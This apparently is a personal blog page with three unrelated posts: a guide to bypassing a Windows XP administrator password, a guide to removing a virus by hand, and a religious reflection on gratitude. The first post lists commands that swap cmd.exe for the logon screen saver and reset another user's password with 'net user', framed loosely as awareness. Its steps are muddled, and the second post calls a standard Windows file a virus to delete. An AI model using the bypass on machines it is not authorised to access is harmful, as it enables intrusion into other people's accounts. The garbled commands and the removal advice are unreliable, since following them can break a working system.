Hacking a Windows XP Admin Password

Don't get this wrong, am not blogging this to take advantage of damaging other computers, but to know Windows vulnerablity and protect your computer from being hacked.

A lot of us are not intelligent (including myself) to protected all our admin user1 - 6 login, instead we protect only the admin.

To hack a Windows XP, at boot up press F8 keep presseing it untiil the sreen shows up booting menu. Choose the save mode login, it loads reads some files and then comes up with an adminstrative login and your account login. Enter the system thru the adminstrative which definately may not be passworded.

The goal is to access the command prompt without using the users account.

Now that you are in the system. Open the shell or command line (prompt)
redirect the destination by pressing cd\

and then type the following, the * is the comment

cd\ *drops to root
cd\windows\system32 *directs to the system32 dir
mkdir temphack *creates the folder temphack
copy logon.scr temphack\logon.scr *backsup logon.scr
copy cmd.exe temphack\cmd.exe *backsup cmd.exe
del logon.scr *deletes original logon.scr
rename cmd.exe logon.scr *renames cmd.exe to logon.scr
exit *quits dos

The code, deletes the logon screen, backs it up in temphack folder and changes the cmd line to the logon.scr.

So, at start up, DOS prompt comes up,you'll see somthing like this:

"net user password"

Where the real password is the admin name, type the password of your choose to access the system.

assumming the original passoword is mcemmy and u want to access it with geek

net user mcemmy geek

will simply use the geekas password.

Now that you know this, how can u protect your computer, simply password all the 6 users on your computer. most of us have only one password.


Enjoy !

REMOVING VIRUS WITH YOUR BEAR HANDS

Do you know you can remove a virus without using an anti-virus. Anti-virus searches your computer for files that are already stored in its database and ask you for the next point of action.

Let’s take EXPLORER.EXE as an example.

Symptoms: Your documents folder opens at start up. 

First go to the Windows Task Manager (Press ctrl + alt+ Del) and stop the process EXPLORER.EXE

Go to the System Configuration Utility Windows by typing “msconfig” in the run input box from the start menu. From the start-up tab uncheck EXPLORER.EXE, and then confirm changing by clicking apply. (This disables the virus from running when you boot your computer). 

Search your System32 folder for the virus file. (C:\WINDOWS\system32) From the Tool tab on the menu bar: Folder Options > Views, check the the option show hidden file and folders. Search for EXPLORER.EXE and autorun.inf then delete.

Go to Registry typing “regedit” in the run input box, search for EXPLORER.EXE and delete.

Congratulations. Your computer is free from EXPLORER.EXE

THE PREACHER’S CORNER: GIVE WHAT YOU RECEIVE

Yesterday , I was watching the “Nigerian Hip-hop Award”, all through the program, I caught something from Cohbams when he was called out to give his word for the award he received, he said “ All the things you saw me doing out there was not me, there are better guys than me who are worth this award. I don’t worth this. And I will like to say that it is not my own power or skill, but by the strength of God. I also thank my mum ….. without them I am nobody”.

Today, I listened to the pastor preach in the Sunday service. “There is nothing you have that you didn’t receive, some thought all they have are results of there hard work or labor, but there some who work harder than they do but get less. If you earn everything, how about the air you breath”

The basis of all these is: Everything you have, you received, and there is nothing you have in this life that you didn’t receive. Give what you receive. The more you give, the more you receive. Give glory to God for everything you have, and always remember that you are not the best person to receive what you have, it’s God grace and mercy. Do well to all men.

“Give the world the best you have and the best will come back to you”
